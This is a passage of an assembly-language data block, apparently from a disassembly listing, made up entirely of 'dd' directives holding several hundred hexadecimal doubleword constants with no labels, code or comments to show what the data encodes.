		dd 810569B3h, 8AEF181Ch, 57F1A040h, 0BB9F4Ch, 7333E1C6h
		dd 0CDE82FA5h, 1B3ED600h, 9D67C42Dh, 4FB0065h, 0BBC1BC3Bh
		dd 0AE76F018h, 0F37C9E00h, 71349D97h, 820138DEh, 596F790Ah
		dd 0DBF800E7h, 5B609890h, 0D0E63A00h, 0F997625h, 0D15E1E34h
		dd 954887E7h, 0D63C90A9h, 0FA03103Bh, 0A82EA78Eh, 83CCE087h
		dd 48F09040h, 0E800B0B2h, 0F2B8BA92h, 2700375Ah, 7654436Dh
		dd 68FCDDh, 4B21BFF5h, 5C79325Fh, 7CC8AD00h, 6472E4F2h
		dd 78251CBDh, 18BC023h,	1FE998D1h, 0C6040D00h, 0B89B7ACBh
		dd 0B08300F0h, 4A5FE566h, 0CF68FA7h, 0CB00997Eh, 9E133045h
		dd 0F6227EFh, 40F30592h, 0E7508058h, 0BC0086F8h, 3F9FA7BDh
		dd 0FF03B8h, 0DF320EA8h, 92B9C117h, 58367E02h, 4118FAF5h
		dd 0A481C3BBh, 2A614AECh, 0D5F0F8E7h, 92398D00h, 0F75B8A5Fh
		dd 357107D6h, 0D0FED376h, 1079CB7Dh, 0E6AFBD00h, 360F2144h
		dd 4ABF034Dh, 7FCD0257h, 23F5A2D8h, 0BD004090h,	0C3F465BAh
		dd 63DA4B0h, 0FF253229h, 0DE0F90C0h, 0C04B016Fh, 1E1B549Bh
		dd 0B4350194h, 4FBEC9C1h, 83FED407h, 7BEEF100h,	6D8936EAh
		dd 0FA4C00F2h, 58D11849h, 9C263AA6h, 0F50098EFh, 0A98FAF17h
		dd 5CA100BEh, 152174FBh, 0B904BB69h, 8D23ED85h,	16A29FC0h
		dd 0CF4707D4h, 30A30FB5h, 278EA8B1h, 800E5C3Dh,	7041ABEBh
		dd 0D3A078h, 0A2DDA444h, 380D0834h, 15393D00h, 4BEE2BC3h
		dd 4D801DAh, 939B9417h,	0A4D4F847h, 0C403A078h,	8E3FF302h
		dd 11CE8Ah, 42A2E956h, 792401CDh, 8028993Eh, 634FDE0Eh
		dd 7BB5B0C1h, 0ED8B02Ch, 0EF6A6734h, 80D5C325h,	0B492BF23h
		dd 0DB101050h, 0F4C0F500h
		dd 0F6416A6Eh, 0A5820B9Fh, 4C008685h, 2EFC7F9h,	1963172Ch
		dd 8E56C800h, 0FFB587h,	0EA91A47Ch, 0DBF413D0h,	98A9E900h
		dd 406BE2ABh, 9A8503BEh, 0ACD4B0C0h, 7E8D5B90h,	1CEA4D3Fh
		dd 0AA00CA94h, 10CB2D75h, 1FA20038h, 8D6CB74Fh,	9F048BD7h
		dd 18358513h, 0ED08B0h,	3966653Eh, 296CD9CAh, 33F26900h
		dd 0AC0805A8h, 800300F1h, 578A5C3Fh, 2B002CB1h,	14302A4Fh
		dd 0B885C332h, 0DBF0078h, 3903C999h, 0E7005E06h, 10EE6B3Bh
		dd 67ACEC79h, 330728FBh, 35A0B3FFh, 0AA0023F0h,	5D149030h
		dd 73EE1217h, 228B050Dh, 0C0C47736h, 48ED35C7h,	0A03EC1EAh
		dd 828A166Ch, 34AB7F03h, 0DB5CC068h, 3F640AA5h,	1913197h
		dd 721DDC61h, 0B548D029h, 0AC7A840Bh, 0AFCF85C9h, 70CB4C0h
		dd 0E91300D5h, 0D12274E2h, 903BF7Ch, 0A2DEB00Ah, 73EFB93Ah
		dd 16AFFDC0h, 4067A04Fh, 0BB613D28h, 1730F42Fh,	3BA4F8BFh
		dd 4A150198h, 547F2A2Eh, 34199532h, 5000FE04h, 0E87A64FFh
		dd 2B0E2DCFh, 80DC0D92h, 533820E4h, 0F986288Fh,	7C4814CCh
		dd 3F009014h, 1E9A8A64h, 0B21F3B65h, 346B6B35h,	95AF5B62h
		dd 0ACA1844Ch, 43C80CDh, 0AFEEABBDh, 0D7912F00h, 93B69CFCh
		dd 28FA7FC0h, 80C620Eh,	0C12E9ADCh, 42705808h, 1880A9C8h
		dd 9251DA78h, 621A1080h, 6FCB19A0h, 99041881h, 0CA95118Ah
		dd 96F80C41h, 0E17B3040h, 0C49CA52h, 0B80D8818h, 0C940A4Eh
		dd 779A9802h, 457C058Eh, 2FDCC48h, 9665F424h, 10CB3F22h
		dd 9347BA28h, 0ACE56C5h, 860CAC18h, 316BA8E9h, 0BC0CA043h
		dd 1479530Ah, 0ED0CA750h, 30247E50h, 3C14E042h,	0A42A1802h
		dd 8468F478h, 48C01854h, 0B3D34504h, 21034231h,	191D2DBBh
		dd 24623EB7h, 0D80495h,	5C0CDAAEh, 3F58E969h, 0A60800D4h
		dd 32E1D68Dh, 9831039Eh, 451A542Ah, 2E6987E9h, 48B567F0h
		dd 22004C56h, 0F5F199A8h, 344DF6B9h, 9A0904C0h,	4907EDBh
		dd 0C1A0415Ch, 13A805A1h, 96042031h, 7835A307h,	4210CE5Dh
		dd 1FE8374Dh, 0B0C68AAFh, 17E645A1h, 0CD20EBE6h, 591F0C33h
		dd 73886D12h, 1D76D14Ch, 0FB008067h, 5E96A40h, 88602FFh
		dd 930C99B7h, 1C3EF462h, 2790800h, 629C557Ah, 0AAB1C39Fh
		dd 0A6E059CAh, 4D18A538h, 44508BE3h, 341726FCh,	0E65A00D0h
		dd 5111932Eh, 0B9255700h, 6AC16519h, 1E27235h, 3789D417h
		dd 5122C733h, 703813C8h, 9260FEDBh, 7153C250h, 4A560A03h
		dd 14C696h, 342E7455h, 6450F7F6h, 0EE001034h, 0E07B60AFh
		dd 0FD0BB98h, 0A98BD474h, 0F900173h, 312DB88Eh,	8C45D41Ch
		dd 0D3892C00h, 0B060C6D9h, 41960174h, 0FC0F2623h, 25C7707Bh
		dd 0B81DC530h, 60E7D957h, 99A69846h, 2700EB54h,	679C3210h
		dd 5CCD8BE5h, 7A0148FAh, 0BB294C0h, 19752096h, 141CCF4Ch
		dd 3D689E06h, 2C8B02FCh, 0B8D8AE60h, 3DC37B40h,	287B306h
		dd 0F08E3181h, 6934CC6Eh, 21B2DC01h, 0F11C7F0Ah, 54CBD8F4h
		dd 0CFD5C094h, 16709310h, 414599Ch, 9DE90C41h, 0EC948809h
		dd 539F3E60h, 39A03683h, 0AAE006FDh, 0DD3F80E4h, 5B1909A5h
		dd 0E85C0245h, 6274D062h, 1A1718AAh, 0C9208880h, 6303D3DCh
		dd 3950C2D8h, 0F1312C42h, 0E8423D0h, 90C27247h,	5848D19Ch
		dd 1201BF9Eh, 6E52EF19h, 88287F81h, 95F17801h, 342C01FFh
		dd 0B4487BF0h, 0E0FA81CCh, 50303AB0h, 79FE6DDh,	6B8CDEFEh
		dd 81305416h, 0E14D9DA0h, 9488518Dh, 5048202Dh,	0BF290503h
		dd 8261A107h, 2C8480BDh, 8CE6C5h, 935079FFh, 0D8E06A44h
		dd 90AAE730h, 13246087h, 738E147h, 0B0F20B56h, 637CEEA5h
		dd 80163C28h, 9DA8C38h,	4024D8E8h, 0F469A648h, 0AEF0123h
		dd 8AF6C0A1h, 8B16C952h, 20CB4D40h, 539C442Ch, 0D3181D4Ah
		dd 31B7139Dh, 8035F608h, 0BFC43FE8h, 48727CE1h,	8E00D46Ah
		dd 0F896E4CCh, 0DB4D5085h, 54200F30h, 9EF90315h, 0E1E814CBh
		dd 0A501C4C7h, 7B2360ADh, 0E4305D16h, 0AE4722F1h, 10AFB17h
		dd 0CA9E9B54h, 0F3B08488h, 489126E3h, 87C4E4B1h, 0A0127075h
		dd 638DD1h, 0FFA661Ch, 0ACE019C3h, 57009C9Ah, 6248535Bh
		dd 0FCD79474h, 0DCF8484Ch, 20A85AC0h, 16006F28h, 23575F83h
		dd 4C8C082Bh, 0A4079C6Ch, 5C59E6A3h, 1A00F651h,	22E24847h
		dd 131B2E01h, 308AD317h, 2F730510h, 3D407600h, 381295C0h
		dd 0C7FC095Bh, 880190F7h, 0E8B6158Eh, 7E075FFDh, 739F28CDh
		dd 0C8C9EA9h, 9E3929F9h, 850493F8h, 0F761354Ah,	2000508Ah
		dd 28CE1DFEh, 911840D1h, 1790BC51h, 3EE305F6h, 899C68h
		dd 1D167EDCh, 76023DA3h, 5293A2E9h, 0C1EFE243h,	0F2C09D21h
		dd 0CCC300DCh, 406851E2h, 0EC2C1D6Bh, 9E04825h,	0F8319DC7h
		dd 98610A10h, 41EC8C0Ch, 89F88143h, 10176031h, 882209A8h
		dd 1F00C045h, 1194514Ch, 14B228B1h, 0EC24D0DDh,	0B1D1ED39h
		dd 0D570F800h, 695258E0h, 82608B24h, 409B2E3Fh,	0D4C88C80h
		dd 0C75835FCh, 7D2000D0h, 0CA1AF20Fh, 643C289Bh, 0F63F0AE4h
		dd 86A445D8h, 688A62DDh, 2EBCE902h, 48CC724Fh, 88FE6434h
		dd 932488DBh, 24020BE9h, 4127EFB6h, 49ECF004h, 0A73B0122h
		dd 47875445h, 1CD874AEh, 0B9043100h, 777885FCh,	604F0749h
		dd 7AFD146Eh, 8BD98A08h, 2E2F8310h, 63C084D8h, 7D033E7Bh
		dd 4541120Eh, 0DABFD040h, 78BE0069h, 0A3FA06D7h, 37003864h
		dd 0EBAC6E54h, 68169Ch,	81AE335Bh, 0A83A56CBh, 0B68960FBh
		dd 0B178FB65h, 95FE0405h, 51D4C006h, 68FD0319h,	5C405205h
		dd 0B27A31F0h, 21A1E00h, 7BF597DEh, 0F081C08Fh,	9E6DA427h
		dd 1AFBD604h, 0E7C7B01Ch, 0C83E9463h, 0FA0E4F65h, 29153BCEh
		dd 0FB8F800h, 32EAE24Ah, 91E87530h, 8DDA4Dh, 0FACCF559h
		dd 19311660h, 0A402047Bh, 0E39F5512h, 0BC908083h, 75B9EB5h
		dd 974D4952h, 298D50B4h, 3A00FAD5h, 6EF57627h, 0B08CB178h
		dd 66EA1FC1h, 0EFAC0049h, 0D064866Ch, 0E22CBC00h, 5BC7156Fh
		dd 11B76290h, 9676EC59h, 92F1BD00h, 0FE47CDB2h,	407B82h
		dd 54B8790Fh, 71A6410Eh, 9B0C4574h, 0F60C2E4Eh,	6B1F0F85h
		dd 75008287h, 7E140F66h, 49436502h, 0E00BFE7Bh,	6989B2h
		dd 0C6488277h, 0C83E03ADh, 0BF962600h, 4CCDE3D5h, 0E77981h
		dd 31FB393h, 2B1D59A7h,	460E4D00h, 43DF9C84h, 12F094h
		dd 0B86CF9A0h, 173295BBh, 0BD229907h, 2C30CBBCh, 7D5B3h
		dd 8844BEF8h, 0EFE9814Dh, 0EDA5430Ch, 71F119Ch,	0A6727148h
		dd 903B205Bh, 0E407894Eh, 4D4050EDh, 96AB6590h,	38171D56h
		dd 0C51440A1h, 42F7222Ch, 0D74F80A0h, 0E16FEA00h, 0C89C169Eh
		dd 76700EFh, 4A12F856h,	3D0024AFh, 0CF60AC5Bh, 0A10C05A5h
		dd 0CB3F84h, 3E364F30h,	510E4A04h, 68B60917h, 174900EAh
		dd 0E466D859h, 415D7531h, 1B0004D2h, 0D518C26Fh, 9A79DC14h
		dd 694A4F4h, 0CEA071FFh, 870260F3h, 3086C8FBh, 0A15DE048h
		dd 0C26818BAh, 1D3C81AAh, 52890F07h, 10B0C359h,	1642A92h
		dd 0E06640C0h, 0D4A6F728h, 25005D65h, 1EED9EE7h, 59E39Bh
		dd 0F6BCB169h, 0D864284Fh, 7A34D301h, 0C6C4EF5Ch, 0D9D5C0h
		dd 0F79A5E20h, 5FE07110h, 0EC404D1Eh, 0EB2D8441h, 3CC91835h
		dd 80480880h, 4EC772DEh, 7AFC3B07h, 0C8F07CE7h,	0E6708E07h
		dd 0B2EC004Bh, 1A37F4D5h, 0C7030C4Fh, 9E51836Fh, 968380h
		dd 36DCBE68h, 0ABEC5618h, 0F274CB10h, 9A3A6800h, 0D71F2722h
		dd 70825F0Eh, 0B7D380D6h
		dd 2E1830h, 5D97B56Bh, 0BC577DCFh, 0E947B901h, 0C43A5C88h
		dd 9AEBFA40h, 0EC36077Ah, 415D7255h, 803D26A5h,	0F0461711h
		dd 7799BCDh, 8C5492BEh,	0FCB343B6h, 0D1372003h,	900C0D2Ch
		dd 4B404FCFh, 109E8F2h,	1979851Fh, 5CD97A82h, 91FBF0h
		dd 0CF09F867h, 875FFF6h, 7032F900h, 0E938D5ADh,	30F074BDh
		dd 9520B81Eh, 0B01EFA6Eh, 0C03051Fh, 0C0F1A27Fh, 60A56051h
		dd 0C889B8FBh, 90307059h, 5F3A90FAh, 6C17BACh, 2AFB468Ch
		dd 650018FEh, 0EFF4D6B7h, 253BD7h, 0F788F1AAh, 83996375h
		dd 0E25CC201h, 1455D305h, 0F2F5D8h, 20891DAFh, 282E498Dh
		dd 0A739F803h, 8F683AE1h, 7796FF71h, 6D1BD8h, 0CD869D37h
		dd 19EF535h, 63B28900h,	0C3B8FF85h, 0C8EE007Ch,	41D97BEDh
		dd 0E300BF35h, 8B1337E9h, 333CC6h, 0A93D0965h, 0B42FC951h
		dd 7F798C00h, 0A073B266h, 3F270098h, 1DF77B8Fh,	8EB03A07h
		dd 82002B76h, 46BD63A7h, 0A23F7Ch, 3034F1CAh, 162CFCDEh
		dd 5DCF2800h, 6E9D2329h, 339A01E0h, 34B9880Ah, 8021BAE9h
		dd 0CDDF22FEh, 0A09CC7h, 84935D64h, 0F44B1CA5h,	5801DC30h
		dd 0CB79E9h, 4208E39h, 0AB1619B7h, 45D38C0Ch, 18F321C5h
		dd 581C9648h, 512C1B3Dh, 0C02428E4h, 42FF6103h,	991CC02Bh
		dd 418700BEh, 254FF22Ch, 3D00D19Eh, 7A702A4Eh, 0C137B75h
		dd 0F24DACD8h, 8121F0D0h, 22F3051Eh, 358E80D3h,	0D1C40B48h
		dd 0D4141AA5h, 0F1F02201h, 81D0D975h, 0CD0C1988h, 9051C41Fh
		dd 38F41412h, 0FDF0C8h,	0B944B65Dh, 42DD69A2h, 0C11C5C0Eh
		dd 933C409Ch, 73465F7h,	47139557h, 14A02F11h, 0B3D5CCDh
		dd 0BC630400h, 0DFF3F28Dh, 61810010h, 4C891517h, 0CA1E7DE4h
		dd 6A409CA9h, 0FB2DB9ABh, 0D4FD016Ch, 7D3CB645h, 4FEFCC92h
		dd 1F432B07h, 7EC04CF9h, 194B4Eh, 50FDD8B5h, 1B5D5AE3h
		dd 3DFCC403h, 937F394Dh, 0EDDB087h, 306B0019h, 7D378B59h
		dd 0B80043FEh, 0EE934B4Fh, 81C1E8h, 836C57B3h, 0BFC295Ah
		dd 69F8D805h, 4C009716h, 2663B00Eh, 3660798h, 431824h
		dd 0A75DCD8Fh, 3A07737Dh, 0F1721687h, 0DBAF5880h, 4FED00FFh
		dd 5AE159CDh, 9D005FBEh, 0F98757D5h, 79420384h,	6C140109h
		dd 4C1D9B93h, 268EC0D4h, 6A20D4A0h, 19CB73Bh, 88297D11h
		dd 1880217Fh, 7CA03724h, 0C17BDBCDh, 77F35Ch, 79411FBEh
		dd 0E0151160h, 2A0D606Dh, 0BB62AE7Ch, 0FBA0691Ch, 20D8BFC9h
		dd 296E3504h, 460D120h,	52F468B0h, 0CE839h, 0EF2D132Fh
		dd 0C01B018Eh, 0ED9D1190h, 0F8007142h, 0E5053D32h, 16040897h
		dd 0F069560Ah, 0F47442C8h, 82B8AB00h, 0A8DD77FAh, 69CA1CCDh
		dd 139A077Eh, 4BE1901Bh, 2B67ED9Ch, 0F2B06A58h,	0E6B4C70h
		dd 770A1926h, 843484h, 0EFD52D88h, 70A80320h, 732FFC40h
		dd 80710C89h, 0A11DB1B8h, 2DD721h, 0C38CEC10h, 65A4FBC7h
		dd 27E320C0h, 77214Dh, 523E8004h, 584AFC9Fh, 2D282400h
		dd 5CB54669h, 0FAA41F11h, 0B8DC54AEh, 0C449D600h, 50167E53h
		dd 2FD1AC15h, 86ED0094h, 7D3DC341h, 0C848C048h,	911095CFh
		dd 40A8B54Eh, 0E15F01Dh, 21E02C8Fh, 0F95FB85h, 609AF03h
		dd 0A89B42F5h, 28822F0Ch, 90C2CAh, 3558C571h, 45E4E204h
		dd 6B015706h, 1A86836h,	4A42B740h, 60D720B5h, 4F3037F2h
		dd 232881A8h, 59430053h, 0F47A62F7h, 16063E8Bh,	0EDE4076h
		dd 0F1440FD6h, 800069B8h, 522B9933h, 6FB5C200h,	1239C10Bh
		dd 0FC233650h, 0A52A3870h, 3D02703Ah, 65931D53h, 13BD18D1h
		dd 7C7D1000h, 0EE5795F8h, 0E955503Dh, 0F4C90931h, 68205D20h
		dd 0D481F929h, 0B81A0701h, 4DAF418Eh, 92F33050h, 95930217h
		dd 0EBD82FCFh, 0A040EE05h, 52928BB1h, 0CD4B3FA1h, 5DA426h
		dd 4742F1D3h, 83246830h, 1640080Bh, 10E950A1h, 84FBC865h
		dd 648719EAh, 6A326920h, 0FA1200E3h, 0ED49D1EFh, 0AE039CDDh
		dd 35E184D6h, 1D98D6A8h, 454CE48h, 80F10F78h, 0F336CCC0h
		dd 0DC0468F4h, 5940791Bh, 497E91D0h, 0A375000Fh, 9FB8474Bh
		dd 0F801A499h, 0E3480D4Dh, 0D94161F9h, 27E47E14h, 43450ADDh
		dd 3E0697Fh, 4DA9B020h,	0DF1C188h, 0A43DE238h, 0F40CE5CBh
		dd 2660B5h, 0D08ED6E7h,	470CED6Eh, 0F5FC1571h, 9D313601h
		dd 7DD87BA4h, 0DEBDB840h, 8F6C0E88h, 0B1470F6Ah, 9BF410EFh
		dd 0CD782DB5h, 3665951Fh, 0DD2E4C80h, 2D61597h,	0AD54BEC1h
		dd 3C4437DFh, 91412324h, 0A5487338h, 0CC5A8A3Ch, 99072800h
		dd 7EEB2966h, 0C0D0000Ah, 914DAA0h, 0C8FAA230h,	24DF453Dh
		dd 105C2841h, 80111BB6h, 0E810232Eh, 1D3D0E5Eh,	3FA082DBh
		dd 7CAC90DDh, 0A5A23300h, 0EF046222h, 0FE5404B2h, 0CC446DE7h
		dd 0BEE24258h, 3C7AFA10h, 0C3F45BC4h, 3BF8569Ch, 46069A85h
		dd 0EAAB05E1h, 59BB0038h, 5702C7E9h, 40954CBh, 8FF4C25Ch
		dd 2018AFB8h, 5EE77C38h, 19498EFh, 51B6F71Ch, 60CCC39Ch
		dd 570ED8DDh, 65A681F5h, 0E041F1BFh, 74BE3323h,	0F253F7E0h
		dd 0E12B3FFAh, 699747BEh, 150009D0h, 4F52A80Eh,	644328C4h
		dd 48F830A0h, 0E900DD61h, 3840C177h, 17AF3Ah, 79D965AAh
		dd 0F2A094D3h, 380CFF30h, 0ACD469C2h, 449604E4h, 84F2E13Dh
		dd 32E42364h, 43E02100h, 0AA406E66h, 0D3A11FACh, 2012C019h
		dd 9DF07683h, 0BB66D800h, 0E825C1C3h, 146F618h,	9168AE61h
		dd 2644418Fh, 30EE24E8h, 0C06DAF02h, 886583h, 3EBF259Eh
		dd 0BA00B36Fh, 0B1738C04h, 24B91945h, 887C3FE3h, 4C00C255h
		dd 0E7992E5Dh, 71820F7Fh, 14C35A13h, 51C87DEDh,	28D3C332h
		dd 59730200h, 15AF730h,	3BFD4440h, 70EDE999h, 3600DED2h
		dd 69B0A8C6h, 3CF4BBC3h, 763D8AA6h, 87B9600h, 0BEBCA7A2h
		dd 0BD721900h, 0C7A56AE8h, 0ACB80048h, 21A0BBB4h, 3400C995h
		dd 58C025E9h, 805AB2h, 3AC7AED3h, 4B376C5Eh, 0B1004C7Dh
		dd 6613A7F3h, 0E2B62Ah,	0C23DA918h, 65F04E08h, 0CE5C7824h
		dd 5A115E07h, 0ED57B760h, 29A80EC5h, 56808536h,	1D781541h
		dd 0D155DA00h, 0D222D067h, 3086A0BEh, 1A183EF0h, 6378A40Eh
		dd 0D0A5B046h, 11F9562Ch, 0B2F32600h, 46FDE1h, 1DF02B5Dh
		dd 560876FFh, 57AC5500h, 0FAC7AAF6h, 2BF5003Fh,	7D84B8B4h
		dd 0BA90D970h, 0AF683500h, 0A15186EEh, 0A6FD00D1h, 0C81A9AAAh
		dd 2BE4B91Fh, 288E8003h, 0EECB26h, 3F207120h, 0BCABB425h
		dd 97D8CF00h, 0AEC3825Eh, 1F4F05AFh, 3330D6h, 485486C4h
		dd 0F0DF165h, 28E03261h, 7DA692F0h, 0AD20004Bh,	0F7092CD3h
		dd 4A00B5B2h, 60088AA7h, 65F1DB9h, 35654976h, 1100089Ch
		dd 688A9D64h, 184C2E3h,	2CCA524Ch, 0C4355046h, 0CD48A33Ah
		dd 90FB007Dh, 0A6FAC444h, 9936020Ah, 936529B0h,	740B0848h
		dd 0E2374C00h, 792C694Eh, 0ED36307Ch, 4AF8B7E0h, 0A8B6B230h
		dd 0C0EB5F80h, 0F4889798h, 0AB0AA301h, 0BCB3263Eh, 683A1A0Dh
		dd 1C8196F8h, 80FB8729h, 0A97B5446h, 5D05A756h,	0AB9FB32Fh
		dd 2500C412h, 4FDC0804h, 9FAA6h, 44D24A14h, 0FB3FE665h
		dd 83F1AA02h, 876FF966h, 0A22E52BCh, 62B514B9h,	86C97F6h
		dd 0CA6069B7h, 3981A371h, 8C007947h, 0CBC54B23h, 4C042B49h
		dd 527CED28h, 0BF4008Ch, 0E34B461Dh, 4600B80Ah,	0EF48219Ch
		dd 2ED80327h, 0CE3BD754h, 305500D8h, 1379B028h,	860003B4h
		dd 2B913646h, 6BA68CCh,	0FAEA2C2Eh, 6700304Dh, 87A778E8h
		dd 0FF8CA03h, 0D4567C1Eh
		dd 23FE4A60h, 140024B0h, 2AD066F4h, 1F6240D6h, 0E0BABA4h
		dd 36C171h, 0D9B079BAh,	273F64D8h, 131C922Ch, 0EAA78830h
		dd 0CF1D02F6h, 5A0C5768h, 807DEF02h, 2C62F2CCh,	0AADC009Ch
		dd 110F01DDh, 0F600663Dh, 9581429Fh, 18704D7Dh,	0F8EBEFAFh
		dd 5491FE8Ah, 42478F78h, 304200A7h, 0A62A4D22h,	0CB9F01C6h
		dd 0E22EB6A8h, 24C1215Ah, 821C1704h, 93C51AACh,	9FC7D2D6h
		dd 591218C0h, 620D0EF0h, 5A89FF90h, 13FED800h, 6090A1FAh
		dd 3751BB00h, 0D5AA9961h, 84161F17h, 1F600D3h, 83BDB72Dh
		dd 26CA9C00h, 0CE4B597Eh, 4EE51E52h, 5E43001Fh,	0C53F7703h
		dd 2EDCF70Bh, 0F3F1863Ah, 14EB00F0h, 0E163672Dh, 0A20F5AA9h
		dd 601A6B34h, 0C7804801h, 0B3EF00FDh, 0D3454341h, 8C5C0515h
		dd 8DEC0755h, 6921B4D7h, 5823B8FCh, 9B4B726h, 583121D8h
		dd 429711B5h, 0D2C40BD1h, 0D18801F2h, 0C2B8988Eh, 499C4007h
		dd 42612C83h, 26657FA8h, 36A9B440h, 0A7E74D5h, 7220DB82h
		dd 0C1BB0080h, 0AB8E61B9h, 73DCC901h, 0BE3A029Ch, 0A8A78020h
		dd 86DDFDE8h, 8B2FF601h, 569E066Eh, 5F4CD808h, 5A383Ch
		dd 0ED520C3h, 305C2Fh, 0C5B11295h, 7B9E5B38h, 94C3CA00h
		dd 7D68F518h, 0A03A1230h, 0AB4816DEh, 0E2019D00h, 24656417h
		dd 229C9697h, 0A0A7FA8Ch, 0A5C6A504h, 41C520Ch,	0BD6A1880h
		dd 0D2C53700h, 53959DEFh, 5D0C1666h, 7F03EA6Ch,	89A2F93h
		dd 5CE92A18h, 4287EC88h, 4410DA1Eh, 0BEF4205Fh,	8A17621h
		dd 7A426A71h, 909810CEh, 527224A1h, 24A2340Ch, 0B10ADC6h
		dd 7E18A0E7h, 0C62884AAh, 0C2540C8Dh, 8C31BD18h, 0E8564902h
		dd 0D4316808h, 0D05AF1DDh, 8AAF0C43h, 618E26EFh, 1ABB5500h
		dd 1FDEC65h, 0CEC50BBEh, 4D845999h, 0C070877Ah,	5EAA63A8h
		dd 7F6E0C17h, 0ECE91E1Dh, 0F3423703h, 73DD8009h, 0DC391380h
		dd 95984040h, 213E8C5h,	0D9319863h, 0F1908959h,	4EE7E0h
		dd 78F44137h, 24D3DB94h, 98007672h, 0F261854Dh,	628CAA6Ch
		dd 0B8647E82h, 801CAC60h, 0F1073300h, 0CB945A3Ah, 1528FEB3h
		dd 4C6A58CCh, 35EA167Eh, 0BA5C1E3Eh, 30317380h,	49D32E4Eh
		dd 83DC30F9h, 6EFB8000h, 64A4EADCh, 774A0195h, 0A0D86919h
		dd 235860D5h, 1A2C417Dh, 8500FC56h, 0DCC6F196h,	9AD33AB4h
		dd 0BC1C4229h, 0E0499710h, 0F0D0C3h, 1F4D7B84h,	0DF7894AEh
		dd 0E08F9D01h, 256D938h, 1E18C05Eh, 0E17E6817h,	10D10C00h
		dd 47EBF7FAh, 623800BEh, 0CA33DCD9h, 4C00A9DDh,	9829FD19h
		dd 287DCFh, 0FE25021h, 0AD9C07A2h, 0DAD35501h, 3B18C7A4h
		dd 0E0283F4h, 6FAF1C0h,	33DD40E0h, 0FD009D1Ah, 0EE0FF7CFh
		dd 24B88EFh, 1120DF7Dh,	0DCE0FC38h, 9F00E2B8h, 0D6F358C2h
		dd 19871Ah, 5F5EB230h, 0D3A96EADh, 2663983Dh, 993FE6B1h
		dd 0B42988CBh, 9821E1D0h, 0D14100A8h, 0F5EB505Bh, 7F29B06Eh
		dd 32705853h, 305D2177h, 523BF4F8h, 9A834C60h, 6BC82953h
		dd 1500FE20h, 0AA372448h, 3A0325h, 6D9AD955h, 7CCCC7FCh
		dd 1A70D7E8h, 8708FA60h, 32D3912h, 47E78699h, 301D5773h
		dd 68837D38h, 3D4A6977h, 2B804318h, 61A95AABh, 7A03FA5Eh
		dd 3672676Eh, 776BC85Fh, 0A00500A3h, 3A82DE19h,	0E57E1848h
		dd 696C91B0h, 3DD57058h, 0F900658Fh, 25504441h,	2713D495h
		dd 0EA004717h, 87DF5957h, 0EA620089h, 9DD6198Dh, 0B0C0FEF0h
		dd 0B9E4A78Eh, 0E87900D9h, 0E2577480h, 0FB0017FFh, 6B2C02ADh
		dd 0A5F6F8C4h, 984C73ACh, 0E98A009Eh, 73223CBCh, 52E7E47h
		dd 816785F7h, 61F10083h, 76EE211Eh, 41D9DC00h, 16E98DD0h
		dd 7CF82B38h, 489EF144h, 0E23FBFCCh, 4175009Dh,	2A384058h
		dd 3493B3h, 0B02DD01Eh,	5B00AD2Ch, 0FB41478Ch, 95CD5Eh
		dd 13297BE5h, 0B1ED832Dh, 30D14A01h, 0D55947E9h, 49E970h
		dd 0A765504Bh, 0BE7D85BAh, 0A6E0DC91h, 80671Eh,	271F6B72h
		dd 0AA982C1Ch, 2E521015h, 1D02D684h, 8B386A43h,	0D800DFA8h
		dd 107B0E5Dh, 0BA3A0A00h, 0AD288EAAh, 841B0F48h, 818042F5h
		dd 0D4768CAh, 697FB900h, 76966D0Eh, 249263h, 0C0906FABh
		dd 44540D8Eh, 9D002A74h, 2E6C4B9Ch, 0A8E013C9h,	0A1EDD0h
		dd 753A45FAh, 423DBEA6h, 0AE643248h, 60164213h,	50D32B08h
		dd 4898987Ch, 28584726h, 0A1D53700h, 4F4BE51h, 3CD09063h
		dd 0E00C8A35h, 0E67FB54h, 39A67275h, 0C8D40702h, 0AD100440h
		dd 32560600h, 0D1C93058h, 2CEF2998h, 0BC0054FCh, 74D4884Bh
		dd 0EE189590h, 0CFF4A8DBh, 0F92E0A61h, 7880D6B1h, 38C5C088h
		dd 442B1EF7h, 79C2CA18h, 1C18AC20h, 73E08BA6h, 0C46752A4h
		dd 69D8E626h, 9A8FBD00h, 33007BD1h, 575B1F90h, 60A3CCB7h
		dd 0A9D611E4h, 636F46D1h, 2F90040h, 0CE623DCEh,	0E0046E11h
		dd 8094D70Ch, 0C7DFF666h, 10405D61h, 78808716h,	837E452Ah
		dd 0FE0C673Bh, 0F03940EFh, 0E240904Bh, 80F020B8h, 1330E048h
		dd 70402F52h, 35189998h, 0FFBB03Fh, 0A914EA03h,	254837ECh
		dd 29C8E52h, 40DF8132h,	64A7h, 2D075FE9h, 856F1F0Bh, 12A9A201h
		dd 0DF6578C4h, 60049A8h, 0BA50CD28h, 6600E941h,	0EC99F391h
		dd 18C5E1BBh, 5E67B162h, 1E006E54h, 0CCF93C2Ah,	72887CCFh
		dd 1064E18Eh, 90D849A0h, 81F14280h, 57001988h, 55C535BEh
		dd 625B44h, 8D38C385h, 0AB70A6C8h, 47F46E0Ch, 132F8054h
		dd 984D650h, 0C86EAD8h,	0B1003164h, 5196AE09h, 3CBAE2h
		dd 0E62603E0h, 9734FF49h, 1F954300h, 37750966h,	0D8620004h
		dd 1459A736h, 0C4789CC1h, 3E262910h, 0D415FDF0h, 4E6C5D07h
		dd 0E9B27CC2h, 10A5E38Eh, 0F0956638h, 30CC15F5h, 0DC98679Fh
		dd 25181631h, 0A6A0DD66h, 68818732h, 0E7F918ADh, 59BC3880h
		dd 0DB238ED4h, 737B6CA8h, 95855600h, 29E543CEh,	0D71100FBh
		dd 9247F55Ch, 490AFA9Eh, 10CCE689h, 17F6B605h, 9E8FA9C0h
		dd 0BB8015Ah, 44300CF3h, 0AF62D0EEh, 2C7A57h, 805D35ABh
		dd 1C9F47CFh, 8A8C7D3Ah, 581857CEh, 0FD18B5B4h,	9A68A2B6h
		dd 0F2D607C7h, 47FF266Ch, 39B5044Ch, 0B8572D41h, 4B7A398Ah
		dd 0ED066060h, 0AF403D2Dh, 0AFF70DAh, 0B41A8CF3h, 0E2D95028h
		dd 15C11F01h, 2DBACA16h, 0DF493182h, 609CCD37h,	2203C400h
		dd 0CA40F36Fh, 0B3EC1C1Ah, 4832D4F1h, 90C9E3C7h, 0CA3F2FE1h
		dd 0D98EFA0Ah, 25D8A4F2h, 0F1B718D3h, 0FC5A301Ah, 0B58890D1h
		dd 196B6603h, 3ACA90BEh, 0BC9B504Bh, 2EC0A028h,	0F3051414h
